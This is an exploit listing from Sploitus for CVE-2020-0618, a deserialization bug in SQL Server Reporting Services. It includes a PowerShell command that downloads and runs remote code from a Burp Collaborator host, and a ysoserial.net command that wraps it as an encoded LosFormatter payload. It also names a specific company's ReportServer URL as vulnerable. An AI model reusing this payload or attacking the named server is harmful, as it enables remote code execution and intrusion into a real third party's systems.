Sploitus

Exploit for CVE-2020-0618

kitploit · 2026-08-25

Exploit Code

MARKDOWN18 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ITSTARSEC-CVE-2020-0618
# CVE-2020-0618

Melissa https://status.melissa.com/ReportServer_CUSTOMERSQL/Pages/ReportViewer.aspx <\- ссылка уязвима

$command = '(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr("https://qoigyuef2a4z1a7rsir6lvi3eukl8a.burpcollaborator.net/In")|iex'

$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)

$encodedCommand = [Convert]::ToBase64String($bytes)

.\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip

# Ссылки:

  * https://github.com//euphrat1ca//CVE-2020-0618
  * https://www.exploit-db.com/exploits/48816
  * https://github.com/pwntester/ysoserial.net/releases